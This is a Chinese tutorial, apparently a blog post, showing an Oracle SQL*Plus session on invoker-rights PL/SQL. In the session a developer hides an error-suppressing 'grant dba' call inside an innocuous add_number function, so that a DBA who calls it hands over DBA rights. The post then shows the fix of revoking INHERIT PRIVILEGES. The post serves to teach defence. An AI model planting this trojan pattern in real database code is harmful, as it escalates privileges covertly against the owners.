在plsql中控制调用者权限

-- 1，环境创建
SQL> create user sneaky_developer identified by 123;

用户已创建。

SQL> grant create session,create procedure to sneaky_developer;

授权成功。

SQL> create user normal_user identified by 123;

用户已创建。

SQL> grant create session to normal_user;

授权成功。

SQL> create user dba_user identified by 123;

用户已创建。

SQL> grant create session,dba to dba_user;

授权成功。

SQL> conn sneaky_developer/123@pdb1
已连接。
SQL> create or replace function add_number(p1 in number,p2 in number)
  2  return number authid current_user
  3  as
  4  begin
  5      return (p1+p2);
  6  end;
  7  /

函数已创建。

SQL> grant execute on add_number to public;

授权成功。

-- 2，第一次测试
SQL> conn normal_user/123@pdb1;
已连接。
SQL> select sneaky_developer.add_number(1.1,2.2) from dual;

SNEAKY_DEVELOPER.ADD_NUMBER(1.1,2.2)
------------------------------------
                                 3.3

SQL> conn dba_user/123@pdb1
已连接。
SQL> select sneaky_developer.add_number(1.1,2.2) from dual;

SNEAKY_DEVELOPER.ADD_NUMBER(1.1,2.2)
------------------------------------
                                 3.3

SQL> SELECT grantee
  2  FROM   dba_role_privs
  3  WHERE  granted_role = 'DBA'
  4  ORDER BY grantee;

GRANTEE
--------------------------------------------------------------------------------

DBA_USER
SYS
SYSTEM

-- 修改函数
SQL> conn sneaky_developer/123@pdb1;
已连接。
SQL> create or replace procedure make_me_a_dba authid current_user as
  2  pragma autonomous_transaction;
  3  begin
  4     execute immediate 'grant dba to sneaky_developer';
  5  exception
  6    when others then
  7    null;
  8  end;
  9  /

过程已创建。

SQL> create or replace function add_number(p1 in number,p2 in number)
  2  return number authid current_user
  3  as
  4  begin
  5     make_me_a_dba;
  6     return (p1+p2);
  7  end;
  8  /

函数已创建。

-- 再次测试
SQL> conn normal_user/123@pdb1
已连接。
SQL> select sneaky_developer.add_number(1.1,2.2) from dual;

SNEAKY_DEVELOPER.ADD_NUMBER(1.1,2.2)
------------------------------------
                                 3.3

SQL> conn dba_user/123@pdb1
已连接。
SQL> select sneaky_developer.add_number(1.1,2.2) from dual;

SNEAKY_DEVELOPER.ADD_NUMBER(1.1,2.2)
------------------------------------
                                 3.3

SQL> select grantee from dba_role_privs where granted_role='DBA';

GRANTEE
--------------------------------------------------------------------------------

DBA_USER
SNEAKY_DEVELOPER
SYSTEM
SYS

SQL> revoke dba from sneaky_developer;

撤销成功。

SQL> select grantee from dba_role_privs where granted_role='DBA';

GRANTEE
--------------------------------------------------------------------------------

DBA_USER
SYSTEM
SYS

-- 撤销权限，第三次测试

SQL> conn sys@pdb1 as sysdba
输入口令:
已连接。
SQL> revoke inherit privileges on user dba_user from public;

撤销成功。

SQL> conn dba_user/123@pdb1
已连接。
SQL> select grantee from dba_role_privs where granted_role='DBA';

GRANTEE
--------------------------------------------------------------------------------

DBA_USER
SYSTEM
SYS

SQL> select sneaky_developer.add_number(1.1,2.2) from dual;
select sneaky_developer.add_number(1.1,2.2) from dual
       *
第 1 行出现错误:
ORA-06598: INHERIT PRIVILEGES 权限不足
ORA-06512: 在 "SNEAKY_DEVELOPER.ADD_NUMBER", line 1


SQL> select grantee from dba_role_privs where granted_role='DBA';

GRANTEE
--------------------------------------------------------------------------------

DBA_USER
SYSTEM
SYS

-- 文章参考来源：https://oracle-base.com